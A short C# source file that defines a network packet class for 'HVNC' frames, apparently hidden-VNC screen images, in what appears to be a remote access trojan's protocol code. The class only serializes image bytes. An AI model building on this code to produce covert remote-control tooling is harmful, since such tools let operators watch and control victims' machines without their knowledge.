using System.IO;

namespace Crysome.Common.Network.Packets.Client;

public class HvncFramePacket : IPacket
{
	public byte[] ImageData { get; set; }

	public HvncFramePacket()
	{
	}

	public HvncFramePacket(byte[] imageData)
	{
		ImageData = imageData;
	}

	public void Write(BinaryWriter w)
	{
		w.Write((ImageData != null) ? ImageData.Length : 0);
		if (ImageData != null && ImageData.Length != 0)
		{
			w.Write(ImageData);
		}
	}

	public void Read(BinaryReader r)
	{
		int num = r.ReadInt32();
		ImageData = ((num > 0) ? r.ReadBytes(num) : new byte[0]);
	}
}
